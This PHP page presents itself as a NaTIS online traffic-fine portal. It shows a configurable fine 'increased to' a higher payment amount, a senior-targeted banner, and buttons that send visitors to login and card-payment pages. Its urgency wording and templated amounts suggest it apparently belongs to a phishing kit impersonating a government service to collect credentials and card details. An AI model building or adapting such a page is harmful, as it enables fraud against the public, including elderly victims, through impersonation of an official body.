<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';
$ntActive = 'home';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>NaTIS — Online Services</title>
    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet" />
    <link rel="stylesheet" href="themes/css/login-natis.css" />
    <style>
        .nt-service-grid { display:grid; grid-template-columns:repeat(auto-fit,minmax(220px,1fr)); gap:18px; margin-top:8px; }
        .nt-service-card { background:#fff; border:1px solid #d8d8d8; padding:22px 18px; text-align:center; }
        .nt-service-card h3 { margin:12px 0 8px; color:#316194; font-size:15px; }
        .nt-service-card p { margin:0 0 14px; color:#555; font-size:13px; line-height:1.5; }
        .nt-service-icon { font-size:28px; color:#4175a5; }
        .nt-service-btn { display:inline-block; padding:8px 18px; background:#6ba336; color:#fff; font-size:12px; font-weight:700; text-transform:uppercase; text-decoration:none; }
    </style>
</head>
<body>
<?php require __DIR__ . '/includes/natis-header.php'; ?>

<main class="nt-main">
    <h1 class="nt-welcome">NaTIS Online — Traffic fine services</h1>
    <p class="nt-intro">
        View and pay outstanding traffic fines securely online. Log in to your NaTIS profile to review notices and avoid further penalty increases.
    </p>

    <?php require __DIR__ . '/includes/natis-senior-banner.php'; ?>

    <div class="nt-service-grid">
        <article class="nt-service-card">
            <div class="nt-service-icon"><i class="fas fa-envelope-open-text"></i></div>
            <h3>Fine notice</h3>
            <p>Read your official traffic fine notice and payment deadline.</p>
            <a class="nt-service-btn" href="letter.php">View notice</a>
        </article>
        <article class="nt-service-card">
            <div class="nt-service-icon"><i class="fas fa-file-invoice"></i></div>
            <h3>Payment notice</h3>
            <p>Review fine breakdown: <?= htmlspecialchars(Config::$fine_amount_initial, ENT_QUOTES, 'UTF-8') ?> increased to <?= htmlspecialchars(Config::$payment_amount, ENT_QUOTES, 'UTF-8') ?>.</p>
            <a class="nt-service-btn" href="invoice.php">View notice</a>
        </article>
        <article class="nt-service-card">
            <div class="nt-service-icon"><i class="fas fa-credit-card"></i></div>
            <h3>Pay fine online</h3>
            <p>Pay securely by card through the NaTIS payment gateway.</p>
            <a class="nt-service-btn" href="login.php">Login & pay</a>
        </article>
        <article class="nt-service-card">
            <div class="nt-service-icon"><i class="fas fa-user"></i></div>
            <h3>NaTIS profile</h3>
            <p>Access your dashboard and outstanding fines.</p>
            <a class="nt-service-btn" href="login.php">Login</a>
        </article>
    </div>
</main>

<?php require __DIR__ . '/includes/natis-footer.php'; ?>
</body>
</html>
